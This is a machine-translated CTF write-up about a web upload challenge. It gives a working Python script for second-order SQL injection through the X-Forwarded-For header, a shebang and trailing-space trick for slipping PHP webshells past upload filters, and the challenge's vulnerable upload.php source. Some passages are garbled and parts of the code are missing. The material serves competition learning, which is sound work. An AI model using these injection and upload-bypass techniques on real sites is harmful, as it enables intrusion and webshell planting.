Hacking Book | Free Online Hacking Learning


strong net cup mimicry defense game ez

Posted by chiappelli at 2020-02-25

This is a web problem encountered in the offline game of pseudo defense of strong net cup. I didn't intend to share writeup originally, but because there are many people asking, I will share it with you here.

EZ [upload] is a very classic stack black trick problem, which is a typical CTF type problem (although people are very resistant to such a problem now). Here is mainly to share the writeup and our team's thinking process when completing the problem.

Let me first describe the logic of the topic. 1. Login.php, the login page, only obtains the username, without any restrictions. Username will enter the session after escaping. 2. Index.php, the page output username, IP (can be overwritten by XFF), and upload file list (incomplete, only 10 bits). 3. Upload.php, to upload files, requires you to upload PHP, but there are many filters, so you can't bypass the restrictions.

After getting the title, we can get the following information:

1. There is no restriction on login. Only user name is entered, but single quotation mark, double quotation mark and backslash will be escaped. AAA '= > AAA \' 1) hint mentions that the length of username in the database is 25

2. After logging in, index.php gets the IP, which can be overwritten by XFF, and it will get it every time. 1) XFF is limited by WAF, similar in shape.

$ip = get_ip_from_xff(); echo $ip; waf($ip);

But here only single quotes and backslashes are blocked

3. To upload a file, PHP must be uploaded, but it will be blocked by WAF. 1) Code resemblance:


So it's not consistent with the IP trigger

2) It seems that the verification of PHP is prior. In the earliest tests, it can only be considered as PHP when WAF is triggered

<?php..... <?\n.....

The judgment here looks exactly the same, like a paradox

3. All the variables mentioned above are obtained from session before output, but the database exists in the prompt.

So guess there are two database operation points.

1. Index.php view the file list, select filename from uploads where user = '\ $user' and IP = "\ $IP"? Whether IP participates in unknown

select filename from uploads where user = '\$user' and ip = "\$ip"? # ip是否参与未知

2、upload.php上传文件,insert into uploads values (id, '\$user', '\$ip', '\$filename')...

insert into uploads values (id, '\$user', '\$ip', '\$filename')...
###########Guess the money

After the first analysis of the topic, we reconsidered all the conditions because we couldn't bypass the upload. So there is the following speculation:

It is speculated that there is a secondary injection here. By escaping the user 25 bit stage to \ and then escaping the single quotation mark, the next single quotation mark is closed, so the insert injection is completed.


Guess for injection question

If the file is uploaded, it must be seen by index.php. Then we need to assume that the file can be uploaded.

But we can't pass it on. Then there are two hypotheses. They are the conditions we ignore or the black trick.

The only condition ignored is WAF (especially on IP

Suppose that WAF on IP is the file name used to test the uploaded file

The insert statement is insert into uploads values (ID, '\ $user', '\ $filename')

insert into uploads values (id, '\$user', '\$filename')...

We can know the WAF of filename by testing the WAF of IP.

But under this assumption, the file can be uploaded

Considering the above conditions, the core code of upload.php is roughly as follows

if(!empty($_FILES['upfiles']['tmp_name'])) { if(is_array($_FILES['upfile'])){ die(); } if(checkIsPhp($_FILES['upfile'])){ die('bu shi php') } if(waf($FILES['upfiles'])){ mysql_query('insert') }else{ die('waf') } }

After rethinking the process, we can think that the files here can be uploaded (even if they can't be uploaded directly to PHP)

In the next day's competition, after testing, we found that the judgment of the background is very strange. Assuming that the file can be uploaded, the background is probably to determine whether it is a pure PHP file. Without considering the forced brain hole, we need to find a PHP file that does not start with <.


We used it here


When we add this line, we can successfully bypass the first seemingly paradoxical judgment condition, followed by the suffix judgment. This is very simple, as long as we add a space or tab after. PHP.


In this way, we can successfully upload PHP files, but we found that in the index page, we can only see 10 bit return, that is, we can't get the file name.

So here, we need to obtain the uploaded file name through injection. It is worth mentioning that our previous guess is correct. The background logic is to insert the database after the upload is successful. The statement is:

insert into uploads values (id, '\$user', '\$ip', '\$filename')...

Here, we can construct and insert multiple pieces of data to display the annotation. Each time, we can only annotate 10 bits. The simple script is as follows

# coding=utf-8 import requests import random import hashlib import time s = requests.Session() url='' def get_content(url): content_length = 0 payload = "(select(length(filename))from(select(filename)from(picture)where(name=\"rrr\")limit 19,1)a)" content_length = get_response(payload) print "[*] content_length: "+str(content_length) content = "" content_count = int(content_length)/9 for i in xrange(content_count+1): payload = "(select(mid(filename,"+str(9*i+1)+",9))from(select(filename)from(picture)where(name=\"rrr\")limit 19,1)a)" # print payload content += get_response(payload) print "[*] content: "+content print "[*] content: " + content def get_response(payload): s = requests.Session() username = "teststeststests1234\\" login_url = url + "/login.php?action=login" data = {"username": username} s.post(login_url, data) # payload payload = ",1,1),(\"llrr\",1,{})#".format(payload) # 上传文件 upload_url = url + "/upload.php" f = open("test.txt", "rb") header = {"X-Forwarded-For": payload} file = {"upfile": f} otime = time.time() r = s.post(upload_url, headers = header, files = file) rr = r.text # 获取返回 username2 = "llrr" login_url = url + "/login.php?action=login" data = {"username": username2} r2 = s.post(login_url, data) index = r2.text.find("</p> </div>") index2 = r2.text[index-20:index].rfind("<p>") return r2.text[index-17+index2:index].replace('....','') get_content(url)

If you get the file name, you can access webshell and get the flag directly

After finishing the topic, I got the source code of the topic and found some interesting things after reviewing the source code again.

upload.php <?php session_start(); include_once 'lib/clean.php'; include_once 'lib/database.php'; if (isset($_FILES['upfile'])) { $file = $_FILES['upfile']; if ($file ['error'] > 0) { switch ($file ['error']) { case 1 : $mes = 'The uploaded file exceeds the value of the upload_max_filesize option in the PHP configuration file'; break; case 2 : $mes = 'Exceeded the size of the form MAX_FILE_SIZE limit'; break; case 3 : $mes = 'File section was uploaded'; break; case 4 : $mes = 'No upload file selected'; break; case 6 : $mes = 'No temporary directory found'; break; case 7 : case 8 : $mes = 'System error'; break; } die($mes); } $content = file_get_contents($file['tmp_name']); checkMIME($file); if (checkContent($content) && checkExts($file['name'])) { upload($file); } else { die('attack detected'); } } else { die('file not found'); } function upload($file) { $savepath = dirname(__file__) . '/uploads/'; $filename = explode('.', $file['name']); $newname = rand_name() . "." . trim(end($filename)); $finalname = $savepath . $newname; if (move_uploaded_file($file['tmp_name'], $finalname)) { $db = new Database(); //,1,(select substring(filename,10,10) from(select filename from picture limit 0,1)x))# if ($db->insert($_SESSION['username'], getip(), $newname)) { header('location: index.php'); exit(); } } } function rand_name($l = 64) { $str = null; $Pool = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_"; $max = strlen($Pool) - 1; for ($i = 0; $i < $l; $i++) { $str .= $Pool[rand(0, $max)]; } return $str; } function checkExts($filename) { $AllowedExt = array('php', 'php3', 'php4', 'php5', 'pht', 'phtml', 'inc'); $filename = explode('.', $filename); if (in_array(strtolower($filename[count($filename) - 1]), $AllowedExt)) { return false; } return true; } function checkMIME($file) { // text/php text/x-php $php_ext = array("text/php", "text/x-php"); $type = mime_content_type($file['tmp_name']); if(!in_array(strtolower($type), $php_ext)){ die("i need php file"); } } function checkContent($content) { if (stripos($content, '<?') === 0) { return false; } return true; }

In upload, we always think that it is the filtering of paradoxes, which is judged by mime ᦇ content ᦇ type. This is also the reason why we can use ᦇ! / usr / bin / PHP to bypass. It's quite interesting

mime_content_type #!/usr/bin/php